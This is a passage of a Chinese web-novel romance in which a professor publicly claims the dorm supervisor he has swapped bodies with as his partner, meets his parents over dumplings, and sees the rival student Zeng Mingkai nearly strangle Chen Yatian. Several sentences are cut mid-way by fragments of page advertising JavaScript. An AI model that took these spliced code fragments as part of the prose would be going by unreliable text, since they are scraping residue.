人群中最不缺思维发散的同学,也最不缺喜欢大胆假设的同学。 好些同学得出了个大胆的猜测,所以……沈教授是宿管口中的她男人,他带着律师走来了。 都没给他们时间消化这一猜测,学校领导一行人从宿舍楼里走来了,里面赫然就有刚刚才走进去的沈教授。 他的手正被一个女人牵着,两人这关系明摆着,没啥好疑问的了。 见到白幺幺带着王律师走过来,沈之牧忙过去牵起她的手,低声道:“别担心,我没受伤,接下来的事交给王律师来处理。” 在场的人被两人牵手的动作震惊到了,最震惊的要属曾明凯。 他势在必得的女人竟然是学校沈之牧沈教授的女人。 这……怎么会这样…… 他一开始听到女人打电话喊人,并没当一回事。 后面,学校领导来了,女人说要等她男人带着律师过来再走。 他内心是嗤之以鼻的,以为女人就是在装腔作势,喊来的也不会是什么厉害的人。 可是现在,曾明凯手指不自觉弯曲收紧,眼里闪过浓浓的懊恼。 他这次还是太冲动了。 呵呵,怎么就是沈教授的人呢? 那他已经想好的说辞都不能用了,曾明凯眸色渐渐阴鹜起来。 陈雅恬,都怪这个蠢货。 还有她姑,一家子的蠢货。 身边人有这样的一层身份竟然不知道,还和人交恶了。 最重要的是,还误导了他,让他今天也找上门来犯蠢。 曾明凯此时后悔死了,要知道蠢是会传染的,他一定早早和这个青梅断了联系。 沈之牧之所以让白幺幺亲 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自过来,要的就是现在这效果。 与其等人又胡言乱语的说一通,他们后期再费力辟谣解释,那还不如一开始就让对方不敢胡言乱语。 哪怕是说了,在场的人也不会信,真当他是在胡言乱语。 而且,沈之牧担心他不在身边时,又有像曾明凯这种恶心玩意找上门来,把他的人欺负了。 光想想,他心中戾气横生。 最好的办法,当然是高调宣示主权,告诉所有人,幺幺是他护着的。 当然除了这点,沈之牧还有一点点小私心,他想早点改变两人的关系。 学校领导以及沈之牧一行人离开,围观的同学没敢跟上去,不过人群也没立马散开。 更热烈的讨论在人群中展开了。 “不是吧!不是吧!!不是吧!!!” “我们的宿管姐牛逼啊,不声不响的就把学校的高岭之花沈教授拿下 了。” “可不是,两人什么时候开始的,我们竟然没一个发现过端倪。” “哇,刚刚沈教授走过去的样子好帅,霸道护妻的模样更帅。” “所以,沈教授和宿管到底怎么好上的,真没人有他们的小故事吗?” “我记得这位宿管姐好像比沈教授还大几岁了,同为女人,我真的好羡慕好嫉妒呀,为什么拿下沈教授的不是我。” “呜呜,沈教授竟然偷偷谈恋爱了,还是在我们眼皮子底下,到底是我们眼瞎,还是他们保密工作做得太好,竟连一点风声都没传出来。” “可不是,要不是今天闹这一出,我们是不是要等沈教授结婚时,才知道。” “很有可能。” “不过,不愧是沈教授看上的女人,身手真的很不错,和经济系的曾明凯不相上下,甚至略胜一筹。” “是很厉害,都有沈教授这样的男人了,竟然还能低调的在学校当宿管,平时穿衣打扮也太低调朴素了。” “所以,更想知道经济系的曾明凯为什么和人打起来,沈教授都带着律师过来,明显是要维护自己的女人到底,曾明凯这次可能要麻烦了?” …… 第93章 禁欲教授与被霸凌小可怜的反转人生(32) 下午上完课和兄弟们打了一场球,流了一身汗,唐文译一到家就进浴室洗澡。 等他从浴室出来,习惯性第一时间去拿手机。 打开一看,他神色怔愣了下。 在他洗澡的这半小时里,不仅有好几个未接来电,还有好多人发信息给他。 同时他加的好几个群里累积未读信息都有上百条,而且未读信息还在增加中,各个群里此时仍还在活跃中。 是发生了什么大事? 那些发信息给他的人就不说了,就他加的这些群,平时大家潜水居多,偶尔聊下,也不会像现在这般活跃。 就在唐文译准备先一一回个电话过去时,又有电话打进来了。 看到来电显示,是学长的,唐文译直接接起来。 电话刚接通,学长的控诉声传来。 “文译啊,你小子也太不够意思了,沈教授脱单谈恋爱这么大的瓜……事,你小子知道了,也不知道偷偷和我们说下。” 啥? 唐文译眼睛倏地瞪得跟铜铃一般大,眼里写满懵逼与震惊。 老师谈恋爱了? 他不知道啊! “学长你在……”说什么? 唐文译话才说到一半,学长的声音又传来,哀怨中带着点小激动。 “不得不说老师的保密工作做得太好了,你小子嘴巴也同样严。难怪那天中午去食堂的路上,你说遇到熟人,让我们自己先去吃。” “我那时出于好奇,还回头看了一眼,好奇你遇到哪个熟人?合着你是遇到了师娘,所以赶紧屁颠屁颠的过去打招呼。” 打电话过来的这个学长是个住宿生,住的就是白幺幺管的那栋宿舍楼,所以当时他一眼就认出唐文译遇到的所谓熟人是他们楼的宿管。 心中疑惑两人竟然认识,却没起八卦探究的心。 “等等,学长你在说什么?” 唐文译依旧懵逼中,不明白洗个澡的功夫出来,好大一口锅就朝他盖来。 他不够意思? 他嘴巴严? 还他屁颠屁颠的去和师娘打招呼? 他是这样的人吗? 不,他就是,有瓜他当然只会自己偷偷藏着吃,分享是不可能分享的。 可,现在他妈的关键是谁能告诉他发生了什么?老师怎么会突然冒出个女朋友来?什么时候的事? 等等…… 唐文译脑中有什么一闪而过,被他快准狠的捕捉到了,只是不待他理顺,学长的声音又响起了。 电话那头的学长以为他在装傻充愣,想蒙混过去,继续啧啧控诉起来。 “文译呀,现在学校里还有谁不知道沈教授和我们楼的宿管在谈对象的事,兄弟,你继续这样装傻下去就不够意思了!” “我去,学长你说啥?” 唐文译同学被震惊得原地蹦跶了一下。 学长听到唐文译的激动到破音声音,微愣下。 “文译,你这反应……难道你这个沈教授的得意门生,也不知道沈教授谈对象的事?” 唐文译:……他上哪去知道呀! 也不对,他之前不是没有怀疑,差一点,差一点点就真相了。 这种时候,唐文译同学不要面子的嘛。 他轻咳一声,高声囔囔道:“学长,怎么可能,老师谈对象的这种事,我当然是早早就知道了。” 一个谎言需要无数个谎言去圆,唐文译同学走上了圆谎的道路。 “学长你也知道老师向来低调,既然老师他们暂时不打算公开,作为老师的得意门生,老师信任我,才让我知道,我又岂能辜负老师的这份信任。” 唐文译同学:……呜呜,他从始至终都没得到过这份信任,谈啥辜负。 不过,唐文译收起心中淡淡的忧伤,他需要人来给他解惑。 “学长,你们是怎么知道这事的?” 还比他早知道! 学长一听就知道他还不知道傍晚学校发生的事,当即详细的给他讲述一遍。 唐文译沉默的听着,内心卧槽不断。 该死的,早知道打完球就不立马回来了,在学校多待会儿,他就能现场吃到热乎的瓜。 “学长,那我老师现在还在学校吗?还有曾明凯那小子什么毛病,竟然敢欺负我师娘。” 唐文译捏着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拳头冷哼,“都怪我当时没在学校,不然不用等老师亲自过来,我一定先过去教训下这小子。” 学长也轻咳了声,“其实也用不上你,沈教授对象身手很好的,应该没有被曾明凯欺负到。” “学长,话不是这么说的,我师娘一身细皮嫩肉的,就算身手再好,可拳脚无眼,打斗中要是哪里被碰乌青,或者擦破下皮,我老师该有多心疼。” 学长赞同的应了声,“的确是这样,话说你现在要来学校吗” 唐文译:“……来,马上就来,学长,我先挂了。” 快速换身衣服,唐文译直接开车去学校。 至于手机上的其他未接来电以及信息,他暂时没空处理。 而且,不用想,这些很大可能就是想和他分享老师谈对象这事。 此时学校副校长 办公室,一群人齐聚一堂。 一波接一波的,震惊过后,事情总要处理的。 在宿舍楼那,沈教授上来就是牵手。 而这次竟然不用拥抱,不用亲吻,两人仅仅只是牵手,灵魂当即就换回来了。 之后沈教授直接牵着白幺幺的手不放了,到了办公室,也没有要放开的意思。 白幺幺有些不自在,时不时会偷偷看旁边的人一眼,不过同样没有要抽回手的意思。 都不等学校领导发问,进到办公室后,曾明凯第一时间走向白幺幺。 在学校领导不明所以的目光下,在白幺幺和沈之牧嫌恶的目光下,曾明凯在离白幺幺差不多有一米的时候停下。 只见他朝白幺幺弯腰致歉。 “对不起,我不该因为点小误会,一时冲动和你动手的,这事是我的错,不管是要公开道歉还是赔偿,我都会配合的。” 曾明凯是个懂审时度势的,也是个能屈能伸的。 当然这种时候,他还是耍了个小聪明,不过他不懂,有时聪明反被聪明误。 他想法很简单。 事情如果真闹开,就算大家可能不会站在他这边,可终归对女人的名声有影响。 一个没背景的孤女,攀上了沈教授这一高枝,相信肯定很多人不看好他们这对。 第94章 禁欲教授与被霸凌小可怜的反转人生(33) 或许两人的关系现在都还瞒着沈家长辈,本来知道后,就不见得有多满意儿子谈了这么个女人。 如果名声再有点小瑕疵,两人本就不顺的情路应该会多不少坎坷,能否最终走到一起是个未知数。 所以曾明凯很上道的把责任揽到自己身上来,对于打架的原因只字不提,以一个小误会带过。 因为他相信,沈之牧是聪明人,应该会明白他退让以及诚意,毕竟也没造成什么实质性伤害。 虽然不知道两人动手原因,但学校领导很满意曾明凯的做法。 冤家宜解不宜结,学校领导在处理各种矛盾时,一贯喜欢息事宁人,大事化小,小事化了。 曾明凯的小心思,沈之牧清楚,他眸光沉沉的盯着人看了好一会儿,才冷声开口。 “曾同学,我爱人天性纯良,性子软,不善与人争辩,至于你做了什么,或者说了什么,才逼得我爱人与你动起手来,这些我希望你明天早上通过学校广播将事情解释清楚,同时向我爱人道歉。” “至于赔偿,就看你明天道歉的诚意,如果让我爱人不满意,那只能让律师来和你谈了。” 沈之牧话里话外,威胁的意思很明显。 名声什么的,沈之牧不在乎,不过他知道幺幺在乎的。 而且,就这人说的那些恶心话以及龌蹉心思,幺幺没必要知道的。 所以不得不说,他还挺满意这人的自作聪明,至于事情怎么样才算了了,他可从未明确表态过。 年轻人啊,还是没深刻认识到社会险恶,沈之牧怎么可能这么轻易就把事情揭过去。 沈之牧话中“爱人”两字一出,白幺幺脑子嗡地震了一下,不到一秒的功夫,不止脸红了,耳朵脖子都红了。 身体更是开始发烫,被大掌包裹着的手不知不觉冒出点点细汗,头埋得低低的,不敢看任何人。 沈之牧是最直观感受到身侧人的这些变化的,事情算是初步解决了,其他的看明天曾明凯的表现。 原以为要处理很久,没想到这么快就可以散场了。 被喊来的王律师全程当背景板吃瓜,心里早就想着回去后,第一时间和自家老婆分享这个瓜。 要是这事,只有少数人知道,王律师肯定自觉守口如瓶。 可是现在,这个瓜再不抓紧分享,很快就要不新鲜热乎了。 两方谈妥的处理方式,学校领导表示没意见。 然后大家就此散了,各回各家各找各妈去了。 晚霞还剩点余晖,校园的路灯已经亮起来了,两人手牵手漫步在校园中。 周遭的学生自动和他们保持一定距离,不过一双双眼睛是恨不得直接粘在两人身上。 在办公室里,白幺幺就不敢抬头,现在到了外面,那么多双眼睛看着,她哪里敢抬头。 也幸亏一路上有沈之牧牵着她走,不然真可能不小心摔了。 两人走着走着,沈之牧的手指动了,就在白幺幺以为他要放开自己的手时,下一瞬,两人十指紧扣在一起了。 回宿舍的路似乎变得很长很长,仿佛永远走不到似的。 白幺幺低着头,所以没发现,她被沈教授牵着手逛起校园来。 两人一起走过学校操场,穿过学校小树林,遇到过好几对小情侣。 两人所到之处,那就是一道最吸引人的风景。 晚风徐徐,走了一段路后,白幺幺脸上的羞意慢慢褪去。 她像是鼓起很大勇气,偷偷抬头,用侧眼偷瞄了下旁边的男人。 见人目视前方,并没有察觉到她的小动作,才轻轻吐出了口气,而后忙又低下头。 路总有走完的时候,目的地总是会走到的。 两人回到宿舍楼,进了屋,白幺幺第一时间想抽回手。 只是,沈之牧并没有让她如意。 白幺幺:……沈教授,你这简直不要太犯规了。 她抬头,眼里有羞涩,有茫然和不解。 沈之牧正了正神色,语气不自觉放柔道:“今天的事发生得突然,经过考虑后,我只能对外说我们在交往,你是我对象,你对这有什么看法?” 白幺幺:……什么看法? 那当然是,沈教授,没想到你是这样的沈教授。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 不过,干得不错。 “我……” 白幺幺咬了咬唇,脸又红了。 “我都可以的,不过……沈教授…这会不会对你有什么影响?” 沈之牧摇头,“你单身,我也单身,你未婚,我也未婚,我们正常处对象能有什么影响?” 白幺幺愣了愣,支支吾吾道:“可……可是……我们不是……不是真的在处对象。” 白幺幺话才说完,沈之牧似笑非笑道:“谁说我们不是真的在处对象。” 白幺幺:……怎么感觉沈教授比较她还会玩。 她猛地抬眸,眼里除了震惊还是震惊,脑中不断回荡着“谁说我们不是真的在处对象”这句话。 沈之牧被女人表情愉悦到了,就在他想说什么时,一道不合时宜的敲门声响起了。 唐文译马不停蹄的从家里赶来学校,最后找来了宿舍这边 。 发生这么大的事,他没能在第一线吃瓜…… 咳咳,不是,他没能第一时间过来对老师和师娘送上关心,那简直愧对老师的教导。 沈之牧皱眉,像小朋友闹脾气似的,不情不愿的放开白幺幺的手。 手一分开,两人的灵魂立马换回来。 白沈之牧幺幺冷着张脸走过去开门,门一开就对上了唐文译那张都快咧到耳后根的笑脸。 沈之牧:…… 门开的那瞬间,唐文译同学感觉一道冷气袭来,身体不自觉的哆嗦了下。 见过来开门的是白幺幺,他忙嘴甜的喊道:“师娘,晚上好。” 原本冷着脸的白沈之牧幺幺听到唐文译的这声“师娘”,那表情转瞬从冬天过渡到了春天。 脸没那么冷了,不过说话语气还是冷冷淡淡的。 “有事?” 在沈教授这边,可没伸手不打笑脸人的说法。 没办法,谁让某人来得太不是时候了。 唐文译同学:……怎么感觉师娘不是太欢迎自己的样子。 唐文译同学努力回忆两人几次接触的过程,想想自己有没有不小心把人冒犯了。 第95章 禁欲教授与被霸凌小可怜的反转人生(34) 唐文译同学自我感觉良好的在心里摇头,再次龇着大白牙,连眉眼都带上笑意。 “师娘,你吃了没?要是没的话,要不晚上我请你去吃……” “不用。” 白沈之牧幺幺冷冷打断他的话。 沈教授这次不仅觉得他这个学生十分聒噪,还没个眼力见。 嗯,似乎脸皮也有点厚。 而且沈教授绝对不会承认,要不是经他这么一提醒,自己还想不起吃饭这事。 突然把幺幺喊过来,也没关心下人吃饭了没,真的很失职。 唐文译:……呜呜,师娘好冷啊,师娘真的好像不喜欢他怎么办? 唐文译快速想了又想,然后他想到了曾明凯。 迁怒。 对,他一定是被迁怒了。 在小区门口时,他当时就该早早的站在师娘这边,将曾明凯还有他身边的那个谁骂个狗血淋头的。 至于他缠着人问她和老师的关系这事,那完全是出于对老师的关心,师娘肯定能理解的,也肯定不是因为这,才不怎么待见他的。 唐文译是那种越挫越勇的性格,感觉自己暂时搞不定师娘,是时候把老师喊出来了。 他相信,有老师在其中调剂,他和师娘的关系一定能很快热络起来的。 唐文译同学明知故问道:“师娘,我老师在你屋里吗?” 白沈之牧幺幺很想说不在的,可他最终还是没忘记自己现在用的是幺幺的身体。 以后两人在一起了,幺幺多多少少会和他的学生有些接触。 “嗯,他在屋里。” 说着,沈之牧是真的有点不情愿的让开。 唐文译进屋后,一见到自己老师,忙道:“老师,听到师娘这边出了点事,我就赶紧过来,想着看看有什么能帮忙的。” “对了,老师,事情都处理好了吗?” “我和你说啊,那个曾明凯还有他身边跟着的一个女孩……” 唐文译绘声绘色的说起和曾明凯在小区门口偶遇的事,有种说停不下来的趋势了。 白沈之牧幺幺皱了下眉,走过来牵起白幺幺的手。 两人灵魂换回来的第一时间,他冷声打断唐文译的话。 “停,这事你师娘已经和我说过了,没其他事,你赶紧先回去,我和你师娘还有其他事要忙。” 被下逐客令的唐文译同学:……想象很美好,现实很骨感。 老师还能当她和师娘之间的调剂吗? “这,这样啊。” 唐文译摸了摸后脑勺,“那……那老师我先回去了,就不打扰你和师娘的二人…世界。” 顺口说出来的话,让唐文译同学后知后觉的反应过来。 他霎时懊恼的想拍自己的脑门。 该。 简直太该了。 换成他和女朋友好好的在甜甜蜜蜜,突然来个不长眼的打扰了他们的二人世界,他要是能给对方好脸色,那就不是男人。 想通后,唐文译同学心虚的摸了摸鼻子,分别和沈之牧还有白幺幺道了声别,脚下生风的溜了。 唐文译离开后,房间里很突兀的响起一道低低的闷笑声。 沈之牧不明所以的侧头看去,“幺幺在笑什么?” 白幺幺捂着嘴抬头,有种被抓包的尴尬。 在沈之牧的注视下,她才小声道:“就是……就是刚刚沈教授你的那个学生挺好玩的。” 沈之牧:……好玩吗?明明挺烦人的! 不过沈教授还是懂得某个道理的,有时候,女人说什么,顺着她就是了。 “嗯,是挺好玩的。” 沈之牧下意识的不想人过多去关注其他异性,他问道:“幺幺,你吃晚饭了吗?” 白幺幺迟疑了下,摇头。 “你打电话过来时,我正在揉面,准备晚上包饺子吃。” “我也还没吃,那我们现在一起去吃,幺幺有什么想吃的吗?” 牵上手后,沈之牧暂时就没有要松开的意思了。 尽管灵魂互换后,他一直是透过现象看本质。 可是,现在心境不一样的,他还是更喜欢用自己的身体去熟悉幺幺的身体。 比如现在,他不正在熟悉幺幺的手。 有些东西在两人之间悄然发生着改变,是那么的顺其自然,水到渠成。 白幺幺轻皱了下眉,有点可惜她还没揉好的面。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “沈教授,要不我还是回去继续包饺子吃,你……也一起回去?” 沈之牧想都不想,就说:“好啊,我挺喜欢吃饺子的,还有……嗯,没事了,我们回去吧。” 他本想让幺幺直接喊他名字,一直喊沈教授感觉有点生分了。 不过,他想到了幺幺的性格,也知道自己有点太心急了。 就这样的,两人手牵手甜蜜的回家去了。 当然,以上是沈教授的旁白。 由于两人是打车回去的,到了小区门口,是很幸运的没遇见熟人,却把小区安保人员震惊到了。 没办法,两人那手像是拿胶水黏上了,就连上下车时都没分开过。 每个小区里总有些比较出名的业主, 沈之牧就属于其中之一。 当然,这些安保人员都是经过特殊培训的,职业素养比较高,很快就收拾好自己的表情。 一回生,二回熟的。 被牵了那么久,白幺幺就是想害羞也害羞不起来了,只是遇到认识沈之牧的人打量过来时,才会低了低头。 进屋后,沈之牧就要牵着人进厨房,两人一起包饺子。 只是路过客厅时,两道灼热的视线齐刷刷看过来了。 沈之牧:……他爸妈怎么都来了? 白幺幺:……等下不会发生那种小说里的狗血剧情吧! 话说沈父沈母这个时候为什么会出现在这里,当然要归功于王律师这个好同志。 有瓜,他是会分享的,也是懂得分享的。 从学校离开,他脑子灵光一闪,反应过来这种事不应该先和他老婆分享,而应该先给他老板分享才是。 他立马掏出手机给沈母打电话。 沈母听后,激动得差点打破手上的茶杯。 她没去怀疑王律师的话,脑中更是闪过去看儿子时的那些画面。 所以,她儿子这段时间的反常,不是因为遇到什么难事,更不是因为身体出现什么状态。 而是……而是……她儿子谈恋爱了…… 激动过后,沈母赶紧打电话给儿子他爸分享这个好消息。 在这件事上,夫妻俩哪里沉得住气,都不带犹豫的,直接杀过来了。 第96章 禁欲教授与被霸凌小可怜的反转人生(35) 路上,沈母还和沈父嘟嚷道:“儿子也真是的,谈恋爱了都不和我们说,搞得好像我们是那种封建大家长,会拆散他们似的,自己就先在那边烦恼上了。” 没错的,沈母将沈之牧近期的所有反常归结为谈地下恋爱引起的。 哼,都快奔三的人了,还一点都不稳重。 为人师表的人,不知道不以结婚为目的谈恋爱就是耍流氓吗? 谈个恋爱,要谈就光明正大的谈,偷偷摸摸的算个啥事! 到时圈子里那些个不明就里的,肯定以为是怕过不了她这个婆婆这关,担心她瞧不上女方,会棒打鸳鸯。 哼,这个锅她才不背了。 即使他们夫妻俩已经看开了,可是为人父母的,当然还是更希望自己孩子能有个知冷暖的陪伴在身边。 所以呀,比起她儿子真的终身无婚,哪怕她儿子给她找个男儿媳妇回来,她也会高兴认下的好不。 在学校当宿管怎么了? 人家姑娘多不错啊,有一份稳定的正当工作,职业可不分贵贱。 年龄比她儿子大五岁怎么呢? 女大三抱金砖,大五岁,四舍五入就是抱两块金砖。 至于人品长相其他的,沈母那是绝对相信自己儿子的眼光。 白幺幺见过沈母,而沈父和沈之牧太像了,一眼就能让人猜出他的身份。 此时两人胶着在一起的手快速发烫,白幺幺受惊般的想抽回手,可惜某人不让。 丑媳妇第一次见公婆,谁也没想到会是在这样一种情况下。 沈之牧有些无奈的喊了声“爸,妈”。 白幺幺同志忙也结结巴巴的喊了声“叔叔,阿姨,晚上好”。 喊完,她就赶紧低下头,不敢去看人了。 这一天的事赶事,没完没了了啊。 作为沈家的大家长,沈父比较沉稳内敛,只是点了点头算回应。 沈母则热情极了,笑呵呵的回应。 同时,她起身上前就要从儿子手上夺过人家姑娘的手,想拉着人好好聊聊。 只是沈母当然没能得逞,沈之牧有些无奈的看着他妈,用眼神示意她悠着点,别把人吓到了。 沈母没好气的回瞪了一眼,才讪讪的坐回沙发上。 沈之牧知道他爸妈一时半会是不可能离开,他轻咳一声道:“爸妈,我和幺幺还没吃晚饭,你们自个儿在客厅坐着,我们先去厨房准备下晚餐。” 沈父依旧老神在在的坐着,没发话,只是用眼神示意沈之牧快去就是了。 沈母却来了兴趣,“你们要自己做晚饭?要做啥?我和你爸晚上都没吃多少,你们既然做了,就多做点,等下我和你爸刚好可以再吃点的。” “嗯,幺幺准备包饺子,我给她打下手。” “饺子啊,饺子好,我和你爸都爱吃,你们赶紧进厨房忙吧,我和你爸自个儿在客厅坐着喝喝茶。” 等沈之牧和白幺幺进到厨房,沈母忙拿手肘捅了捅身侧的沈父。 “听到没,幺幺啊,你儿子叫的多亲密,还有那说话的语气比平时轻快不少,简直就差在脸上写上我很高兴四个字。” 沈父淡淡睨了沈母一眼,“你注意点,人家姑娘明显是个害羞的,别到时把人吓跑了。” 沈母:……这父子两就是来气她的! “去,去,一边去,你个老沈懂什么?” 沈母没好气的白了沈父一眼,“我和你可不一样,你是老古董,我才不是,平时我多少可是有看点电视剧。” “里面那些个比较受欢迎的婆婆,那就是像我这样的。” 沈母打量了一眼沈父,嫌弃道:“而像你这样的,才是比较容易把儿媳妇吓跑的公公。” 沈父:??? 他怎么不知道他老婆管理着偌大集团,竟然还能忙里偷闲去看那些狗血电视剧。 当然,其中关键是,他老婆不像是会看那种狗血电视剧的人啊! 所以,是他这个枕边人失职了。 几十年的老夫老妻了,沈父深谙夫妻的相处之道。 他忙缴械投降,“是,是,是,你这样的婆婆,以后肯定能和儿媳妇处成姐妹。” 沈母得意的扬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了扬下巴,“那可不是,不过也不能光我发力,你也要使点劲,别拉后腿。” 沈父:…… …… 厨房里,一开始的不自在慢慢消退。 两人分工明确的忙活起来,画面十分的温馨……甜蜜。 沈母在客厅听着厨房里时不时传出的声响,脸上的笑容就没落下去过。 要不是贴心的想让小两口独处,沈母早就提出跟着进厨房帮忙了。 一个小时候后,热腾腾的饺子出锅了。 白幺幺想让沈之牧先端着饺子出去,她则留在厨房调个酱料,到时端出去。 只是当看到沈之牧端着饺子要出去时,她才反应过来,两人手分开了,所以…… 白幺幺脸热的将人喊回来,她酱料调很快的,还是等她调好了,再一起出去。 沈之牧哪里看不出她的心思。 他的幺幺不好意思一个人面对他的父母,哪怕身体是她,灵魂 是他,也还是不好意思。 见两人端着东西出来,都不用喊,沈父沈母自己过来餐厅这边了。 坐下后,沈母还没吃,就先夸上了。 “幺幺是吧,你这饺子包得可真好,一个个白胖白胖的,看着就知道是皮薄馅足的。” 白幺幺:……沈母是个会夸饺子的,当然她包的饺子那必须是好看又好吃的。 白幺幺被沈母夸得有些难为情,小小声的回了句谢谢。 之后,大家开始动筷子吃起来。 白幺幺包的饺子面皮薄而有嚼劲,馅料鲜美,味道简直不要太好。 饶是沈父沈母是吃了晚饭过来的,也一人都吃了不下十个饺子。 谁说想要征服一个男人首先要征服他的胃的,沈母觉得这句话用在征服一个婆婆同样适用。 她对白幺幺这个儿媳妇本来就是越看越满意,现在又有这好厨艺加成,她是恨不得儿子明天就将人娶进门。 好事多磨,免得夜长梦多。 而且沈母可是有双火眼金睛,白幺幺那些掩饰性的装扮,在沈母这根本没用的。 第97章 禁欲教授与被霸凌小可怜的反转人生(36) 同一时间,同个小区,不同栋楼的某单元房里。 与白幺幺这边其乐融融的画面截然相反,客厅里的画面就不怎么和谐了。 曾明凯掐着陈雅恬脖子的手臂青筋突起,“你他妈的,这么重要的事竟然没和我说,你知不知道老子差点就要被你害死了。” 此时的曾明凯哪里还有往日翩翩少年郎的模样,整个人就如同的一头发疯的野兽。 双眼暴突,腥红,如果杀人不犯法的话,陈雅恬的脖子今夜应该难逃被扭断的下场。 从小顺风顺水惯了,又心比天高,今日之事对曾明凯来说可谓打击很大。 想到第二天还要当着学校师生广播道歉,他就真的很想把罪魁祸首掐死。 陈雅恬一开始还用手使劲的想掰开掐着她脖子的手,可是曾明凯力道渐渐收紧。 窒息感越来越强,死亡气息扑面,陈雅恬又惊又惧。 张着嘴拼命地想要求饶,可是无论怎么努力也发不出声音来,强烈的求生欲让她只能睁大眼睛,眼里写满了“明凯哥哥,求求你,放了我吧!” 可惜,曾明凯本就不是个怜香惜玉的,他直接无视掉陈雅恬的目光。 如此蠢的女人,今日不好好教训一番,哪里会长记性。 直到陈雅恬以为今天真的要交待在自己最爱的明凯哥哥手上了,她认命的缓缓闭上眼睛,眼角闪烁着晶莹的泪花。 以为的死亡没有到来,钳住她脖子的手抽离,身体本能大口大口吸气。 陈雅恬无力的瘫坐在地上,呜呜咽咽的哭起来,不过她根本不敢发出太大的声音。 呜呜,太恐怖了。 明凯哥哥什么时候变得如此可怕了,刚刚竟然想杀了她。 陈雅恬是既恐惧,又难过。 她刚刚真的以为自己要死了,还是被自己最爱的明凯哥哥杀死。 曾明凯放开了人,可是心里仍不解气,随后操起一个花瓶对着陈雅恬身后的墙壁砸去。 陈雅恬原本以为花瓶是要往她身上砸的,想躲,只是身体已经无力做出反应了。 预想中的疼痛没有来临,陈雅恬眸中重新恢复亮光。 明凯哥哥他心中还是…… 花瓶没砸到陈雅恬身上,砸到墙壁上立马四分五裂,碎裂的瓷片被弹射到她后背上,引得她低低闷哼一声。 还有块瓷片刚刚好从她右脖颈划过,在她娇嫩的皮肤上留下一道血口子。 此时的陈雅恬哪里还顾得去想那些情情爱爱的,她手忙脚乱的拿手去捂住脖子上的伤口,同时惊慌的向曾明凯求救。 “呜呜,明凯哥哥,流血了?我是不是要死了?你快送我去医院好不好?” 蝼蚁尚且偷生,陈雅恬这种人比谁都更怕死。 曾明凯厌烦的皱了皱眉,语气冷硬道:“别嚎了,死不了。” 碎瓷片划过陈雅恬脖颈时,曾明凯视线刚好是全程跟着碎瓷片移动的,所以他很确定人只是被划破点皮,并没有伤到颈动脉。 曾明凯的话还是起到了一定作用,陈雅恬真的闭上了嘴。 她泪眼汪汪的看着曾明凯,试探的站起身来向卫生间走去,里面有镜子,她想去看看伤口的情况。 发泄一通,曾明凯心中依旧郁气横生,只是总不能真把人整死。 而且,就算把人整死了,又怎样。 事情都发生了,他还可能因此彻底前途尽毁。 该死的,成事不足败事有余的蠢货,曾明凯在心里又骂了句。 陈雅恬对着镜子左右看了看,被碎瓷片划破的地方很浅,已经不怎么流血了。 不过脖子上的那圈红痕有点狰狞可怖,时时刻刻在提醒着她刚刚差点经历了什么。 此时此刻,陈雅恬不仅脖子痛,心更痛。 她知道自己没把被骚婊子打的事也和明凯说是不对。 可是,她哪里知道明凯哥哥会去找那骚婊子,更哪里知道那骚婊子竟然勾搭上了学校据说背景很深的教授。 陈雅恬真的很委屈,很难受。 这个时候,她想缩在浴室里好好的大哭一场,可是曾明凯的声音传来了。 “出来,打个电话把你姑喊来,我有事要问她。” 陈雅恬知道今晚的曾明凯不再是她以往心心念念的明凯哥哥,如果自己真再 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惹怒对方,就算不死也得脱层皮。 她没有迟疑的,赶紧小跑出去给她姑打电话。 至于明凯哥哥喊人过来干嘛,她无暇去思考,也不想去思考。 甚至于,陈雅恬心中还想着等她姑过来了,或许可以帮忙分散下明凯的哥哥怒火。 没办法,今晚的明凯哥哥实在太可怕了,颠覆了烙印在她心中十几年的形象。 十几年偏执的爱不会立马消失,但会减少。 经过今晚的死亡威胁,陈雅恬此刻是恨不得赶紧逃离这里,哪里还像以前那样,只要有粘着曾明凯的机会,她都不会放过。 这段时间有傻子白幺幺帮她上班,陈丽华的小日子过得别提有多滋润。 陈雅恬打电话过来时,她正在公园里消食散步了。 听到是曾明凯让她过去一趟,有些关于白幺幺的问 题要问她,陈丽华并没有想太多,立马在手机上下单网约车。 因着陈雅恬对曾明凯的势在必得,而曾明凯的各方面情况都很不错,陈丽华心中早就将人看做未来的侄女婿。 陈雅恬打完电话后,就自己到角落缩着,降低存在感。 没办法,刚刚差点死去的那种感觉,她到现在还心有余悸。 曾明凯斜睨了她一眼,似乎挺满意她的识趣,回房间洗澡去了。 在他洗澡的期间,陈雅恬根本不敢离开。 也是这时她才有空去思考,思来想去,她发现一切全怪白幺幺那个骚婊子。 如果白幺幺一直不反抗,她就不存在隐瞒明凯哥哥的情况。 如果白幺幺没有勾搭上学校的教授,明凯哥哥就不会因为去找人说事,不小心起了冲突,引来了她背后的男人。 如果从头至尾要是都没有白幺幺这个人,一切的一切都不会发生。 她可以好好的当个乖女孩,不用为了明凯哥哥去欺负人,而明凯哥哥也还是她认识的那个明凯哥哥。 陈雅恬越想越觉得白幺幺为什么要出现在她和明凯哥哥的世界中,把他们的生活搅得一团乱。 要是……要是白幺幺早早的就从这个世界消失该有多好。 第98章 禁欲教授与被霸凌小可怜的反转人生(37) 曾明凯冲完澡出来,去酒柜给自己倒了杯红酒,细细品尝起来。 以他家的经济能力买下这套房子并不能说是轻轻松松,还向银行贷款了两百多万。 只是知道唐文译在这里买了房子,以及沈之牧也住在这里,还有这个小区的确很有投资价值,他才让他爸无论如何也要给他买一套。 端着红酒杯来到客厅的落地窗前,向外看去是小区外的繁华夜都市。 有的人出生就是在罗马,有的人终其一生都到不了罗马。 